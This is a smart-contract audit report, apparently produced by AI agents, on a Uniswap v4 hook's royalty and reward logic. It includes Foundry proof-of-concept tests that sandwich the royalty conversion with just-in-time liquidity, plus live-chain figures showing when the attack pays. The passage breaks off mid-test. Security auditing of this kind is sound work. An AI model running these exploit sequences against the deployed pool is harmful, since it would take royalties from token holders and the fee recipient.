report

Identity-md/research/blob/main/jobs/f6d3cd0e-8371-417b-80d6-7b99fc9efa0c/_identitymd/README.md

Four agents audited the code as it is at 7bb7a90, each in one area, and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the code was changed or deployed.

Download the report (Markdown) · archived copy on GitHub

1 high2 low2 info

• 1.highmaxRoyaltySwap reads spot in-range liquidity of the hookless IMD/ETH pool: just-in-time liquidity lifts the per-call cap, the whole royalty backlog is swapped in one call and the sandwich pays (fix focontracts/src/earn/PepesEarnIMD.sol:427

          uint256 ethDepth = FullMath.mulDiv(poolManager.getLiquidity(id), Q96, sqrtP);

  convertRoyalties() sells up to maxRoyaltySwap() of the hook's ETH with sqrtPriceLimitX96 = MIN_SQRT_PRICE+1 and a caller-chosen minImdOut (0 allowed). The cap is 0.5% of getLiquidity(id)*2^96/sqrtP, i.e. of the liquidity active at the current tick at the instant of the call.

  The IMD/ETH pool is a plain v4 pool (fee 10000, tickSpacing 100, hooks = address(0) in script/DeployEarn.s.sol and deployments/robinhood-v3.json), so anyone can add a concentrated position for the duration of one transaction and remove it afterwards.

  The Unlocked guard only refuses a call made from inside a PoolManager unlock; an attacker uses separate unlocks (swap, add liquidity, convertRoyalties, remove liquidity, swap back) in one transaction, and on Robinhood Chain there is no public mempool to compete with.

  Two assumptions of the fix break together: the swap is no longer bounded by the depth that actually rests in the pool, and the 1% pool fee the NatSpec (lines 99-100) relies on is paid to the attacker's own JIT position. The attacker pushes the IMD price up, makes the hook sell its ENTIRE ETH balance into the attacker's liquidity at the pushed price, and unwinds.

  The attack pays whenever the royalty ETH held by the hook exceeds roughly the pool fee (1%) of the pool's real ETH depth, i.e. about two hours of capped conversions. Live state at block 80039867 (read via extsload on 0x8366a39C...): L = 0x4f861bb1c0351eb101, sqrtPriceX96 = 0x13ef96d80c72e5fc2a538720d6, so the formula gives 73.6 ETH of depth and a cap of 0.37 ETH per hour; a backlog of ~0.75 ETH is already attackable, and the hourly cap itself makes backlogs accumulate.

  Loss falls on $EARN holders (75%) and feeRecipient (25%). A JIT position of one tick spacing that is all ETH costs the attacker only temporary capital of about the backlog size and is withdrawn intact.

  The same spot read also overstates depth without any attacker liquidity wherever resting liquidity is uneven (stop the push just inside a thick band). maxBuyback() in PepesEarnToken uses the same formula but is not exposed the same way: the $Pepes pool's v1 hook rejects third-party liquidity, so its L is fixed and the 2%-vs-4%-fee argument holds.

  The existing test test_royalties_sandwichDoesNotPay only sandwiches with swaps and never changes pool liquidity, which is why it passes. Fix, keeping the permissionless/hourly/capped design: do not derive the cap from liquidity that can be added in the same transaction.

  Apply min(0.5% of live depth, absolute per-call ETH ceiling) where the ceiling is a constant or an owner-set value inside hard bounds, and additionally bound the execution price: record sqrtPriceX96 at each successful conversion (so the reference is at least ROYALTY_INTERVAL old) and pass a sqrtPriceLimitX96 derived from it (or skip the ETH leg without swapping when the current price is outside a tolerance band).

  A liquidity snapshot from the previous call alone is not enough, because the attacker can add the position around that call too. Reverting convertRoyalties in the JIT situation also makes the attached proof pass.

  whole finding

  State (the project's own unit-test pool): IMD/ETH pool fee 1%, spacing 100, no hook, full-range liquidity 10_000e18 at 1:1 (10,000 ETH depth, honest cap = maxRoyaltySwap() = 50 ETH); one $EARN holder; hook holds 500 ETH of royalties (vm.deal).

  Attacker, one transaction, outside any unlock: (1) swap 9,000 ETH -> IMD with sqrtPriceLimit = getSqrtPriceAtTick(-10700)+1; (2) PoolModifyLiquidityTest.modifyLiquidity(tickLower -10700, tickUpper -10600, liquidityDelta 1.35e23) (~1,150 ETH, all returned in step 4); (3) hook.convertRoyalties(0); (4) remove the position; (5) swap all IMD back to ETH.

  Expected (what the #1 fix claims): step 3 swaps at most ~50 ETH and the attacker ends with less ETH than they started.

  Actual: maxRoyaltySwap() returns 1,237.87 ETH after step 2, step 3 swaps all 500 ETH in the one call, and the attacker ends 212.75 ETH richer (42% of the royalties, taken from holders and feeRecipient).

  Run: cd contracts && forge test --offline --match-path test/scratch/RoyaltyCapJit.t.sol -vv -> FAIL "one call swapped far more than 0.5% of the pool's real depth: 500000000000000000000 > 100000000000000000000".

  The two other specialist proofs (narrow 200-tick band around the pushed tick, 20 ETH backlog on a 100 ETH pool; 400,000e18 band on a 10,000 ETH pool) fail the same way with profits of 3.77 ETH and 145.68 ETH respectively; all three were re-run by the judge on this commit.

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {PoolManager} from "v4-core/src/PoolManager.sol";
  import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
  import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
  import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
  import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
  import {TickMath} from "v4-core/src/libraries/TickMath.sol";
  import {PoolKey} from "v4-core/src/types/PoolKey.sol";
  import {Currency} from "v4-core/src/types/Currency.sol";
  import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
  
  import {PepesEarnIMD} from "src/earn/PepesEarnIMD.sol";
  import {PepesEarnToken} from "src/earn/PepesEarnToken.sol";
  import {PepesEarnRenderer} from "src/earn/PepesEarnRenderer.sol";
  import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
  
  contract ERC20Mock {
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
  
      function mint(address to, uint256 amt) external {
          balanceOf[to] += amt;
      }
  
      function approve(address s, uint256 a) external returns (bool) {
          allowance[msg.sender][s] = a;
          return true;
      }
  
      function transfer(address to, uint256 a) external returns (bool) {
          balanceOf[msg.sender] -= a;
          balanceOf[to] += a;
          return true;
      }
  
      function transferFrom(address f, address to, uint256 a) external returns (bool) {
          if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
          balanceOf[f] -= a;
          balanceOf[to] += a;
          return true;
      }
  }
  
  /// @dev Stands in for the PepesFamily v1 router/pad; only its addresses matter here.
  contract PepesRouterStub {
      function pad() external view returns (address) {
          return address(this);
      }
  }
  
  /// @notice The per-call royalty cap is 0.5% of `getLiquidity()/sqrtP` of a hookless pool. In-range liquidity can
  ///         be added for one transaction (just-in-time) by anyone, so the cap is whatever the caller wants it to be
  ///         and the whole royalty balance is swapped at a price the caller has pushed.
  contract RoyaltyCapJitTest is Test {
      PoolManager pm;
      ERC20Mock imd;
      PoolKey imdEthKey;
      PepesEarnIMD hook;
      PepesEarnToken earn;
      PoolSwapTest swapper;
      PoolModifyLiquidityTest lp;
      PoolSwapTest.TestSettings settings = PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
      address alice = makeAddr("alice");
      address attacker = makeAddr("attacker");
  
      function setUp() public {
          vm.warp(1_800_000_000);
          pm = new PoolManager(address(this));
          imd = new ERC20Mock();
          swapper = new PoolSwapTest(pm);
          lp = new PoolModifyLiquidityTest(pm);
  
          // IMD/ETH pool as on Robinhood Chain: 1% fee, tick spacing 100, no hook. 10,000 ETH of depth at 1:1.
          imdEthKey = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(imd)), 10_000, 100, IHooks(address(0)));
          pm.initialize(imdEthKey, TickMath.getSqrtPriceAtTick(0));
          vm.deal(address(this), 20_000 ether);
          imd.mint(address(this), 20_000e18);
          imd.approve(address(lp), type(uint256).max);
          lp.modifyLiquidity{value: 20_000 ether}(imdEthKey, ModifyLiquidityParams(-887200, 887200, 10_000e18, 0), "");
  
          PepesRouterStub pepesRouter = new PepesRouterStub();
          bytes memory initCode = abi.encodePacked(
              type(PepesEarnIMD).creationCode,
              abi.encode(
                  pm,
                  address(imd),
                  address(this),
                  address(0xFEE),
                  int24(0),
                  PepesEarnIMD.ImdEthPool(10_000, 100, address(0)),
                  address(new ERC20Mock()), // weth
                  address(new ERC20Mock()), // pepes
                  address(pepesRouter)
              )
          );
          bytes32 h = keccak256(initCode);
          address deployed;
          for (uint256 salt;; salt++) {
              address a = vm.computeCreate2Address(bytes32(salt), h, address(this));
              if (uint160(a) & 0x3FFF == 0x28CC) {
                  assembly {
                      deployed := create2(0, add(initCode, 0x20), mload(initCode), salt)
                  }
                  break;
              }
          }
          hook = PepesEarnIMD(payable(deployed));
          earn = new PepesEarnToken(address(hook), address(new PepesEarnRenderer()));
          hook.openPool(address(earn));
  
          // one holder, so royalties have someone to go to
          imd.mint(alice, 100e18);
          vm.startPrank(alice);
          imd.approve(hook.router(), type(uint256).max);
          PepesFamilyRouter(payable(hook.router())).buy(address(earn), 100e18, 0, block.timestamp);
          vm.stopPrank();
      }
  
      receive() external payable {}
  
      function test_jitLiquidityLiftsTheCap_andTheSandwichPays() public {
          vm.deal(address(hook), 500 ether); // royalty backlog: 5% of the pool's ETH depth
          uint256 honestCap = hook.maxRoyaltySwap();
          assertApproxEqRel(honestCap, 50 ether, 0.001e18);
  
          vm.deal(attacker, 20_000 ether);
          uint256 eth0 = attacker.balance;
          vm.startPrank(attacker);
          imd.approve(address(swapper), type(uint256).max);
          imd.approve(address(lp), type(uint256).max);
  
          // 1. buy IMD with ETH, stopping just above the tick -10700 boundary
          swapper.swap{value: 9_000 ether}(
              imdEthKey, SwapParams(true, -9_000 ether, TickMath.getSqrtPriceAtTick(-10_700) + 1), settings, ""
          );
          // 2. one-tick-spacing position whose lower edge is the current price: it is all ETH (~1,150 ETH),
          //    counts fully in getLiquidity(), and is left behind by the first wei of the royalty swap
          ModifyLiquidityParams memory jit = ModifyLiquidityParams(-10_700, -10_600, 1.35e23, 0);
          lp.modifyLiquidity{value: 1_200 ether}(imdEthKey, jit, "");
          uint256 liftedCap = hook.maxRoyaltySwap();
          // 3. the "capped" conversion
          try hook.convertRoyalties(0) {} catch {}
          uint256 swapped = 500 ether - address(hook).balance;
          // 4. unwind
          jit.liquidityDelta = -jit.liquidityDelta;
          lp.modifyLiquidity(imdEthKey, jit, "");
          swapper.swap(
              imdEthKey, SwapParams(false, -int256(imd.balanceOf(attacker)), TickMath.MAX_SQRT_PRICE - 1), settings, ""
          );
          vm.stopPrank();
  
          emit log_named_decimal_uint("honest cap (ETH)", honestCap, 18);
          emit log_named_decimal_uint("cap with JIT liquidity (ETH)", liftedCap, 18);
          emit log_named_decimal_uint("royalty ETH swapped in one call", swapped, 18);
          if (attacker.balance > eth0) emit log_named_decimal_uint("attacker profit (ETH)", attacker.balance - eth0, 18);
  
          assertLe(swapped, honestCap * 2, "one call swapped far more than 0.5% of the pool's real depth");
          assertLe(attacker.balance, eth0, "sandwiching the royalty conversion must lose money");
      }
  }

  whole proof

• 2.lowReceiving any non-zero $EARN, even 1 wei, still counts as the recipient's activity: a third party can keep any wallet's rewards from ever expiring (fix for #8 covers only amount == 0)contracts/src/earn/PepesEarnToken.sol:211

              lastActive[to] = block.timestamp;

  _moved() now ignores amount == 0, but every non-zero transfer still stamps lastActive[to] for a recipient who did nothing.

  Sending 1 wei of $EARN needs no allowance from the victim and costs the sender 1e-18 of an NFT plus gas. expiredRewardsOf() returns 0 while block.timestamp <= lastActive + 30 days, so one dust transfer per 30 days keeps an abandoned wallet's unclaimed rewards out of the buyback reserve indefinitely, and a single dust transfer cancels a pending recycle()/recycleMany() for a given holder.

  The documented rule is 'a wallet that has neither claimed nor moved any $EARN', i.e. the holder's own actions. No holder loses funds (the affected holder is favoured); the $Pepes buyback-and-burn is what can be starved by anyone, hence low.

  Fix that keeps the expiry math valid: stamp lastActive[to] only when the recipient acted or bought (msg.sender == to on the ERC20 path, msgSender == to on the NFT path, or isExcluded(from), i.e. a pool/router buy), and otherwise only initialise it when it is still 0 so the last == 0 guard keeps working. expiredRewardsOf multiplies per-share growth since the cutoff by the current balance; an un-stamped inbound transfer can only raise that balance, so recent is then over-estimated in the holder's favour, while outgoing transfers and claims still mark the holder active.

  whole finding

  Unit setup (contracts/test/PepesEarn.t.sol): alice buys with 100 IMD, bob buys with 100 IMD, warp 31 days. expiredRewardsOf(alice) = 5999999999999999999. bob calls earn.transfer(alice, 1).

  Expected: alice has neither claimed nor moved, so her expired rewards stay recyclable (as they do after transferFrom(alice, dan, 0) in test_expiry_zeroTransferDoesNotCountAsActivity).

  Actual: lastActive[alice] == block.timestamp, expiredRewardsOf(alice) == 0, recycle(alice) returns 0; repeating the 1-wei transfer at +30d and +60d keeps expiredRewardsOf(alice) == 0 at +92 days.

  Reproduced by the judge in a Foundry test on this commit (test_judge_dustTransferResetsTimer).

  whole reproduction

• 3.lowA just-in-time buyer can take most of a royalty batch from existing holders because anyone chooses when convertRoyalties distributes itcontracts/src/earn/PepesEarnIMD.sol:409

              PepesEarnToken(payable(token)).distribute();

  Trade fees are protected from this: the routers flush before the buyer receives tokens. A royalty batch is instead credited pro rata to whoever holds $EARN at the instant convertRoyalties runs, and the caller picks that instant. The IMD part is distributed with no cap at all; the ETH part in steps of maxRoyaltySwap (about 147 IMD per call at today's pool, against a ~2,000 IMD market cap).

  A caller can buy $EARN, call convertRoyalties, claim and sell in one transaction; the only cost is the 4%+4% hook fee on the notional (LP fee is 0, so price impact is returned on the sell, and part of the buy's own 3% holder fee is recovered on the next flush).

  It pays whenever the holders' share of the batch exceeds roughly 8% of the value of the eligible supply, which is the state right after launch (few tokens outside the pool) or whenever royalties have been left unconverted for a while. Long-term holders lose the diverted share; no protocol funds are lost, hence low.

  Mitigation that keeps the design: release a converted batch linearly over the following ROYALTY_INTERVAL (stream it) instead of crediting it in one step, or cap the IMD credited per call relative to the eligible supply's value so one call never credits more than the round-trip fee can protect.

  whole finding

  Unit setup: alice buys with 100 IMD and bob with 10 IMD (eligibleSupply = 100.30 EARN); 60 IMD of royalties sit on the hook (imd.transfer(hook, 60e18)). dan, in one transaction: router.buy(earn, 150e18, 0, deadline) (receives 121.60 EARN); hook.convertRoyalties(0); earn.claim(); router.sell(earn, 121.60e18, 0, deadline).

  Expected: the 45 IMD holder share goes to alice and bob, who held when the royalties were paid, and dan loses his 8% in fees.

  Actual: dan claims 24.66 IMD of the 45 IMD batch and ends +12.90 IMD after all fees; alice gains 26.63 IMD.

  Reproduced by the judge in a Foundry test on this commit (test_judge_royaltyBatchSniping).

  whole reproduction

• 4.infoconvertRoyalties consumes the hourly slot even when it converts nothing (empty call, or cap == 0 when the IMD/ETH price is outside all positions)contracts/src/earn/PepesEarnIMD.sol:400

          lastRoyaltyConversion = block.timestamp;

  lastRoyaltyConversion is written before the balances are looked at, and the function does not revert when there is nothing to do (no WETH, no IMD, ethIn == 0, minImdOut == 0). Anyone can therefore burn the hour with an empty call, and royalties that arrive right after wait a full ROYALTY_INTERVAL; a caller repeating the empty call at each hour boundary keeps conversion permanently one hour behind.

  The same happens whenever maxRoyaltySwap() is 0 (IMD/ETH pool not initialised under the configured key, which the constructor does not verify, or no liquidity in range at the current tick): each call records the timestamp, swaps nothing, and the ETH stays in the hook, which has no other way out. buybackAndBurnPepes handles the same case correctly (reverts BadAmount before writing lastBuyback).

  Fix: write lastRoyaltyConversion only when the call moved something (wethBal, imdBal or ethIn non-zero), or revert otherwise.

  whole finding

  Unit setup, token opened, hook holds 0 ETH / 0 WETH / 0 IMD at time T. carol calls convertRoyalties(0): returns 0 and lastRoyaltyConversion == T.

  At T+1 a marketplace pays 1 ETH of royalties to the hook.

  Expected: convertRoyalties(0) can convert it.

  Actual: convertRoyalties(0) reverts TooSoon until T+3600.

  Reproduced by the judge in a Foundry test on this commit (test_judge_emptyConvertBurnsHour).

• 5.infoThe fork test never exercises the real Robinhood WETH unwrap that every convertRoyalties call depends oncontracts/src/earn/PepesEarnIMD.sol:403

          if (wethBal != 0) IWETH(weth).withdraw(wethBal);

  convertRoyalties unwraps any WETH balance before touching the ETH or IMD balances, so a reverting withdraw() at the configured WETH address would stop all royalty conversion (ETH and IMD legs included) as soon as anyone sends that token to the hook, and the contract has no other way to remove it. test/PepesEarn.fork.t.sol deploys with the real WETH (0x0Bd7D308f8E1639FAb988df18A8011f41EAcAD73) but only tests an ETH royalty; the unit test uses a MockWETH.

  Judge check on chain (robinhood.drpc.org, block 80039867): that address is an EIP-1967 proxy (implementation 0xc6b81b429797e0f555440b70cd99e032d7ae947e) whose code contains the withdraw(uint256) selector 0x2e1a7d4d, and an eth_call of withdraw(0) from the zero address reverts with 'ERC20: burn from the zero address', the aeWETH behaviour, so withdraw is present and the #3 fix is expected to work on the live chain. This is a coverage gap, not a defect in the code as deployed.

  Suggested: add a fork assertion that a WETH royalty converts (deal WETH to the hook via deposit(), call convertRoyalties), and consider a try/catch around the unwrap so a WETH problem can never block the ETH and IMD legs.

  whole finding

  Read contracts/test/PepesEarn.fork.t.sol: the only royalty sent to the hook is address(hook).call{value: 0.02 ether} (line 144); no test transfers WETH to the hook.

  Expected: a fork test that transfers the configured WETH to the hook and asserts convertRoyalties unwraps it.

  Actual: no such test; the WETH path is covered only against MockWETH in the unit suite (test_royalties_wethUnwrappedAndImdSplit).

1. posted11 minto the first attempt
2. reviewed
   #420Audit flowClaude3 findings · 1 high

   The royalty fix (#1/#7) does not hold: the per-call cap can be lifted with just-in-time liquidity, and the sandwich then pays. Three findings are in .imd-findings.json at the repository root; no repository files were changed.

   Findings

   1. High — royalty cap bypass (contracts/src/earn/PepesEarnIMD.sol:427). maxRoyaltySwap() reads the pool's in-range liquidity at call time, and the IMD/ETH pool has no hook, so anyone can add narrow-range liquidity just before convertRoyalties and remove it just after.

      • Why the guard doesn't help: the Unlocked check only blocks calls made inside an unlock; the attacker uses separate unlocks in one transaction.
      • Reproduction: with 100 ETH of pool depth and 20 ETH of royalties, one call swapped all 20 ETH instead of at most 0.5 ETH. The attacker ended with 1003.77 ETH from 1000 ETH.
      • Proof: a self-contained Foundry test is attached; both of its tests fail on this commit.
      • Live exposure: the real pool has about 71 ETH of depth, so the attack pays once pending royalties exceed roughly 0.7 ETH (my estimate from the fee arithmetic, not a fork run).
      • Test gap: test_royalties_sandwichDoesNotPay only tries swap-only sandwiches, which is why it passes.

   2. Low — dust keeps wallets active (contracts/src/earn/PepesEarnToken.sol:211). The #8 fix ignores zero-amount transfers, but receiving 1 wei of $EARN still resets the recipient's 30-day timer. In a test, expiredRewardsOf(alice) went from 6.1569 IMD to 0 after a third party sent her 1 wei. Holders lose nothing; the buyback reserve can be starved by anyone.

   3. Info — empty call burns the hour (contracts/src/earn/PepesEarnIMD.sol:400). lastRoyaltyConversion is written even when nothing is converted, so an empty call delays royalties arriving just after by a full hour. buybackAndBurnPepes already reverts in the same situation. This one is from reading the code, not a test.

   Status of the previous fixes

   #	Fix	Status
   1, 7	Royalty conversion capped at 0.5% of ETH depth	Not fixed: depth read is manipulable (finding 1)
   2	Buyback capped at 2% of IMD depth	Holds: the v1 pad rejects outside liquidity and charges 4% (both checked on chain)
   3	WETH unwrapped, IMD split	Fixed
   4	Strict 30-day boundary	Fixed
   5	Token deploys and links its mirror in its constructor	Fixed
   6	openPool checks $Pepes and the v1 router	Fixed
   8	Zero-amount transfers are not activity	Fixed as stated; the 1-wei case remains (finding 2)

   Verification

   • The existing unit suite (30 tests) and the fork suite (2 tests against https://robinhood.drpc.org) pass on this commit.
   • Findings 1 and 2 were reproduced with scratch tests under contracts/test/scratch/, which I removed afterwards.

   Not covered

   • Only tokenURI, the trait selection and the trait-name array bounds of PepesEarnRenderer, plus LibEarnString, were read; the SVG drawing code was not reviewed.
   • The other pashov specialty passes (arithmetic, economics beyond the cap analysis, invariants) were not run as separate passes.
   • I did not reproduce the JIT attack on a fork of the live pool.

   ran onclaude · claude-fable-5-1 · 16 turns · 9m 14s · 22 in · 29.7K out · 927.1K cached

   submission00dc368e27247f3cf8d747b116d73ee05eeb8033f51edbd29646c0922a47bfc9

   device72b617d4b615473ad3b763b0e3d0fbbe45ab980941c095e9f4ea11e135554beb

   started from7bb7a9082beab83979ad7900083d4a889b5b5422

   bundlenone

   changed · 0 filesnothing

   • highRoyalty swap cap can be lifted with just-in-time liquidity: the whole royalty balance converts in one call and the sandwich pays (fix for #1/#7 incomplete)contracts/src/earn/PepesEarnIMD.sol:427

     maxRoyaltySwap() sizes the per-call cap as 0.5% of L/sqrtP, where L is poolManager.getLiquidity(id): the liquidity in range at the instant of the call. The IMD/ETH pool is a plain v4 pool (fee 10000, tickSpacing 100, hooks = address(0) in script/DeployEarn.s.sol and deployments/*.json), so anyone can add narrow-range liquidity around the current tick immediately before calling convertRoyalties and remove it immediately after.

     A one-spacing-wide position needs only about 0.5% of the virtual depth it adds as capital, so the cap can be raised to cover the entire ETH balance of the hook for little money. The Unlocked guard does not stop this: it only refuses a call made inside a PoolManager unlock; the attacker uses separate unlocks (swap, add liquidity, convertRoyalties, remove liquidity, swap back) inside one transaction.

     Two assumptions behind the fix break together: (a) the swap is no longer limited to 0.5% of the depth that is really resting in the pool, and (b) the argument that a sandwich costs more in the 1% pool fee than it gains assumes the fee goes to somebody else, but the 1% fee on the royalty swap is paid to the attacker`s own JIT liquidity.

     The attacker pushes the IMD price up, makes the hook sell all its ETH into the attackers liquidity at the pushed price (minImdOut = 0 is chosen by the attacker, who is the caller), and unwinds. Holders and feeRecipient receive correspondingly less IMD. The attack is profitable whenever the royalty ETH held by the hook exceeds roughly 1% of the pools ETH depth (gain ~ R*delta versus round-trip fee ~ 1% * depth * delta).

     On Robinhood Chain today the pool has L = 0x4f861bb1c0351eb101 and sqrtPriceX96 = 0x14a8d2850182772029f9e48ce2, i.e. about 71 ETH of virtual depth (cap ~0.355 ETH per hour), so the threshold is about 0.7 ETH of pending royalties, which the hourly cap itself causes to accumulate.

     The depth read for the buyback (maxBuyback) is not affected the same way: the v1 pad`s beforeAddLiquidity reverts HookNotAllowed for outsiders (checked on chain), so L of the $Pepes pool cannot be inflated, and 2% against a 4% fee (FEE_BPS() = 400 on the v1 pad) holds. The existing test test_royalties_sandwichDoesNotPay only tries swap-only sandwiches and therefore passes.

     Fix, keeping the design (permissionless, hourly, capped): do not derive the cap from liquidity that can be added in the same block. For example store the depth (and sqrtPrice) observed at each conversion and cap the next call at 0.5% of min(depth now, depth stored at least ROYALTY_INTERVAL ago), and bound the execution price with a sqrtPriceLimitX96 derived from that stored price; or use an owner-set absolute cap / a keeper-supplied minImdOut.

     Liquidity that has to stay in the pool for an hour is exposed to arbitrage, JIT liquidity is not.

     whole finding

     State: IMD/ETH pool (fee 1%, spacing 100, no hook) at 1:1 with full-range liquidity 100e18 (100 ETH depth, maxRoyaltySwap() = 0.5 ETH); hook holds 20 ETH of royalties.

     One attacker transaction: (1) swap 20 ETH -> IMD on the pool; (2) modifyLiquidity(+20_000e18) in the 200-tick range around the current tick; (3) hook.convertRoyalties(0); (4) modifyLiquidity(-20_000e18); (5) swap the IMD difference back so the IMD balance equals the start.

     Expected: step 3 swaps at most 0.5 ETH and the attacker ends with less ETH than they started (the claim of the #1 fix).

     Actual: step 3 swaps all 20 ETH in one call, and the attacker ends with 1003.7726 ETH from 1000 ETH (+3.77 ETH, about 19% of the royalties, taken from holders and feeRecipient).

     Run: forge test --match-path test/scratch/RoyaltyJitCap.t.sol -vv -> both tests fail: one call swapped more than 0.5% of the resting depth: 20000000000000000000 > 500000000000000000 and sandwiching the royalty conversion must lose money: 1003772591252195762753 > 1000000000000000000000.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
     import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
     import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
     
     import {PepesEarnIMD} from "src/earn/PepesEarnIMD.sol";
     import {PepesEarnToken} from "src/earn/PepesEarnToken.sol";
     
     contract Erc20Mock {
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address from, address to, uint256 amt) external returns (bool) {
             allowance[from][msg.sender] -= amt;
             balanceOf[from] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     /// @notice The per-call royalty cap (0.5% of the IMD/ETH pool's ETH depth) reads the pool's in-range liquidity at
     ///         call time. The IMD/ETH pool has no hook, so anyone can add narrow-range liquidity right before calling
     ///         convertRoyalties and remove it right after: the cap grows with it, the whole royalty balance is swapped
     ///         in one call at a price the caller pushed beforehand, and the sandwich the cap was meant to stop pays.
     contract RoyaltyJitCapTest is Test {
         using StateLibrary for IPoolManager;
     
         PoolManager pm;
         Erc20Mock imd;
         PoolKey key;
         PepesEarnIMD hook;
         PoolSwapTest swapper;
         PoolModifyLiquidityTest lp;
         PoolSwapTest.TestSettings settings = PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
         address attacker = makeAddr("attacker");
     
         uint256 constant ROYALTIES = 20 ether;
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new Erc20Mock();
             swapper = new PoolSwapTest(pm);
             lp = new PoolModifyLiquidityTest(pm);
     
             // IMD/ETH pool as deployed: 1% fee, tick spacing 100, no hook. 100 ETH of full-range depth at 1:1.
             key = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(imd)), 10_000, 100, IHooks(address(0)));
             pm.initialize(key, TickMath.getSqrtPriceAtTick(0));
             vm.deal(address(this), 1_000 ether);
             imd.mint(address(this), 1_000e18);
             imd.approve(address(lp), type(uint256).max);
             lp.modifyLiquidity{value: 200 ether}(key, ModifyLiquidityParams(-887200, 887200, 100e18, 0), "");
     
             bytes memory initCode = abi.encodePacked(
                 type(PepesEarnIMD).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(0xFEE),
                     int24(0),
                     PepesEarnIMD.ImdEthPool(10_000, 100, address(0)),
                     address(new Erc20Mock()), // weth
                     address(0xBEEF), // pepes
                     address(0xCAFE) // pepes router
                 )
             );
             bytes32 h = keccak256(initCode);
             uint256 salt;
             for (;; salt++) {
                 address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), h)))));
                 if (uint160(a) & 0x3FFF == 0x28CC) break;
             }
             address deployed;
             assembly {
                 deployed := create2(0, add(initCode, 0x20), mload(initCode), salt)
             }
             hook = PepesEarnIMD(payable(deployed));
             hook.openPool(address(new PepesEarnToken(address(hook), address(1))));
     
             vm.deal(address(hook), ROYALTIES); // royalties waiting: 20% of the pool's ETH depth
             vm.deal(attacker, 1_000 ether);
             imd.mint(attacker, 1_000e18);
             vm.startPrank(attacker);
             imd.approve(address(lp), type(uint256).max);
             imd.approve(address(swapper), type(uint256).max);
             vm.stopPrank();
         }
     
         receive() external payable {}
     
         function _jitRange() internal view returns (int24 lower, int24 upper) {
             (, int24 tick,,) = IPoolManager(address(pm)).getSlot0(key.toId());
             int24 base = (tick / 100) * 100;
             if (tick < 0 && tick % 100 != 0) base -= 100;
             return (base - 100, base + 100);
         }
     
         /// One call must not swap more than 0.5% of the depth that was resting in the pool.
         function test_jitLiquidityDoesNotRaiseTheCap() public {
             uint256 capBefore = hook.maxRoyaltySwap();
             assertApproxEqRel(capBefore, 0.5 ether, 0.001e18, "0.5% of 100 ETH");
     
             (int24 lower, int24 upper) = _jitRange();
             vm.startPrank(attacker);
             lp.modifyLiquidity{value: 500 ether}(key, ModifyLiquidityParams(lower, upper, 20_000e18, 0), "");
             hook.convertRoyalties(0);
             lp.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, -20_000e18, 0), "");
             vm.stopPrank();
     
             assertLe(ROYALTIES - address(hook).balance, capBefore, "one call swapped more than 0.5% of the resting depth");
         }
     
         /// Push the price, lift the cap with JIT liquidity, convert everything at the pushed price, unwind.
         function test_sandwichWithJitLiquidityMustNotPay() public {
             uint256 eth0 = attacker.balance;
             uint256 imd0 = imd.balanceOf(attacker);
     
             vm.startPrank(attacker);
             // 1. front-run: buy IMD with 20 ETH (+43% on the IMD price)
             swapper.swap{value: 20 ether}(key, SwapParams(true, -20 ether, TickMath.MIN_SQRT_PRICE + 1), settings, "");
             // 2. JIT liquidity around the pushed price: maxRoyaltySwap() now exceeds the whole royalty balance
             (int24 lower, int24 upper) = _jitRange();
             lp.modifyLiquidity{value: 500 ether}(key, ModifyLiquidityParams(lower, upper, 20_000e18, 0), "");
             // 3. the hook sells all its royalty ETH at the pushed price, mostly to the attacker's liquidity
             hook.convertRoyalties(0);
             // 4. unwind
             lp.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, -20_000e18, 0), "");
             uint256 imdNow = imd.balanceOf(attacker);
             if (imdNow > imd0) {
                 swapper.swap(key, SwapParams(false, -int256(imdNow - imd0), TickMath.MAX_SQRT_PRICE - 1), settings, "");
             } else if (imdNow < imd0) {
                 swapper.swap{value: 100 ether}(
                     key, SwapParams(true, int256(imd0 - imdNow), TickMath.MIN_SQRT_PRICE + 1), settings, ""
                 );
             }
             vm.stopPrank();
     
